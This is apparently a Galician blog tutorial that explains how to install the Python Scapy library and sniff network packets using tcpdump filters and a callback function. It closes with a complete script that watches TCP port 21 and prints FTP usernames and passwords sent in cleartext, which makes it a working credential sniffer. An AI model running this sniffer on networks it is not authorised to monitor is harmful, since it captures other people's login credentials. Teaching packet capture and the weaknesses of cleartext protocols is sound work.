A verba sniffer deriva do inglés `sniff` "olfatexar", xa que o programa "ule" todo o que pasa pola rede, pero non nos adiantemos os acontecementos...
Como instalar Scapy
Nun sistema Gnu/Linux a instalación da librería non ten máis complicación que instalar o pacote correspondente, nas distribucións baseadas en Debian: python-scapy
Se por exemplo escrebemos no terminal
sudo apt-get install python-scapyo sistema descargará e instalará o paquete automáticamente.
Botando o cadelo a cazar
Para poñer o scapy a ler o que pasa pola rede so fai falla importa-lo módulo:from scapy.all import *
E darlle a orde de facelo:
sniff(filter=<filtro>, prn=<función_manexadora>)
Nota: é posible que diga algo coma "WARNING: No route found for IPv6 destination :: (no default route?)", isto é normal e so ven dicindo que non atopa unha rede co protocolo IPv6, non ten maior repercusión.
Iso si, é necesario recordar que para isto fan falla permisos de superusuario, así que cando se execute haberá que telo en conta e, por exemplo, por un `sudo` antes do comando.
Se vos fixades, quedan duas cousas que definir (non son completamente necesarias, pero se queremos facer algo, pois... si), a primeira é un filtro, este escollerá os pacotes que se lerán, podemos por exemplo ignorar os que corresponden a un porto, orixe, destino ou protocolo de rede que non nos interesa. A segunda é una función que receberá o pacote e (previsiblemente) fará o que queiramos que faga con el.
Os filtros
Os filtros empregados por Scapy son os filtros propios do `tcpdump`, un programa sniffer que xerou a librería do mesmo propósito `libpcap`, que a súa vez forma parte da base de `scapy`.
Un exemplo de filtro sería, "tcp" para só ler as conexións feitas a través de TCP, ou "port 80" para as conexións na que o orixe ou destiño sea o porto 80.
Este tema é bastante extenso de por si, pero baste saber que os filtros podense compoñer utilizando "not" coma operador "negación", "&&" coma operador "e lóxico" e "||" como operador "ou lóxico".
Pódese encontrar máis por exemplo en [ http://www.alexonlinux.com/tcpdump-for-dummies#packet_filtering ] ou facendo unha busca [ https://duckduckgo.com/html/?q=tcpdump+filters ].
A función de callback
A función non ten gran misterio, recebe coma parámetro o pacote, así que para ir pechando veremos como facer un sniffer para contrasinais de FTP, así vemos a función traballar con todo o conxunto.
#!/usr/bin/env python # coding: utf-8 from scapy.all import sniff, TCP # Os servidores FTP funcionan sobre TCP e (normalmente) no porto 21. filtro = "tcp && port 21" # Lee un pacote e avisa se atopa algo que # poida ser un usuario ou contrasinal def manexadora(pacote): # Lemos os dados que envía (o payload en inglés) dados = pacote[TCP].payload # Senon ten nada, voltamos if dados is None: return None # Se o ten convertémolo nunha cadea de caracteres else: dados = str(dados) # No FTP, cando alguen se autentica primeiro manda # unha cadea con 'USER ' e o nome de usuario # e despois 'PASS ' e o contrasinal, imos buscar esas # referencias. if (dados.startswith("USER ") or dados.startswith("PASS ")): # Se a función manexadora devolve algo, o sniffer # mandao pola pantalla. # Recordando elimiñar os saltos de liña ou espacios # o final da cadea return dados.strip() # Para rematar, lanzamo-lo sniffer sniff(filter=filtro, prn=manexadora)
E iso é todo, espero que resultara interesante.
Saúdos
No hay comentarios:
Publicar un comentario